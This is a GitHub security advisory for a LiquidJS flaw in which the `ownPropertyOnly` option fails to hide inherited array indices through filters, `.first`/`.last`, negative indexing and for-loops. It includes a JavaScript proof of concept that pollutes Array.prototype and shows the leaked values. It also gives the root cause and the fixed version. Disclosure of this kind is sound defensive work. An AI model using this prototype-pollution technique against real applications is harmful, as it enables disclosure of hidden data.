GitHub Advisoryadvisory · npm

GHSA-fwxr-j5w2-587m LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration

MEDIUM Published 2026-10-07 Modified 2026-10-07 Official page ↗
Aliases
CVE-2026-106120
Ecosystem
npm
Packages
liquidjs
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-200
Reviewed
2026-10-07

Affected packages

• npm liquidjs: < 10.27.2 → fixed in 10.27.2

Description

Summary LiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. With `ownPropertyOnly: true`, direct access such as: ```liquid {{ a[0] }} ``` correctly blocks an inherited array index. However, the same inherited value is still disclosed through: ```text .first .last negative indexing for-loop iteration first last join reverse slice compact ``` Impact This is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data. Object prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide. Proof of concept ```js const { Liquid } = require("liquidjs"); const engine = new Liquid({ ownPropertyOnly: true }); Array.prototype[0] = "ARRAY_PROTO_POLLUTED"; Object.prototype.secret = "OBJECT_PROTO_POLLUTED"; const a = []; a.length = 1; const o = {}; for (const [src, scope] of [ ["{{ a[0] }}", { a }], ["{{ a[-1] }}", { a }], ["{{ o.secret }}", { o }], ["{{ a.first }}", { a }], ["{{ a.last }}", { a }], ["{{ a | first }}", { a }], ["{{ a | last }}", { a }], ["{{ a | join: ',' }}", { a }], ["{{ a | reverse | first }}", { a }], ["{{ a | slice: 0, 1 | join: ',' }}", { a }], ["{{ a | compact | join: ',' }}", { a }], ["{% for x in a %}[{{ x }}]{% endfor %}", { a }], ]) { console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope))); } delete Array.prototype[0]; delete Object.prototype.secret; ``` Observed behavior ```text {{ a[0] }} => "" {{ a[-1] }} => "ARRAY_PROTO_POLLUTED" {{ o.secret }} => "" {{ a.first }} => "ARRAY_PROTO_POLLUTED" {{ a.last }} => "ARRAY_PROTO_POLLUTED" {{ a | first }} => "ARRAY_PROTO_POLLUTED" {{ a | last }} => "ARRAY_PROTO_POLLUTED" {{ a | join: ',' }} => "ARRAY_PROTO_POLLUTED" {{ a | reverse | first }} => "ARRAY_PROTO_POLLUTED" {{ a | slice: 0, 1 | join: ',' }} => "ARRAY_PROTO_POLLUTED" {{ a | compact | join: ',' }} => "ARRAY_PROTO_POLLUTED" {% for x in a %}[{{ x }}]{% endfor %} => "[ARRAY_PROTO_POLLUTED]" ``` Expected behavior When `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of: ```liquid {{ a[0] }} {{ o.secret }} ``` Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration. Root cause `ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead. Examples include: ```text negative indexing using obj[obj.length + key] readFirst/readLast using obj[0] / obj[obj.length - 1] filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads for-loop iteration materializing inherited array indices ``` Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.

Related

Alias · CVE (1)

  • CVE-2026-106120 LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. vulnerability

Weakness · CWE (1)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness

References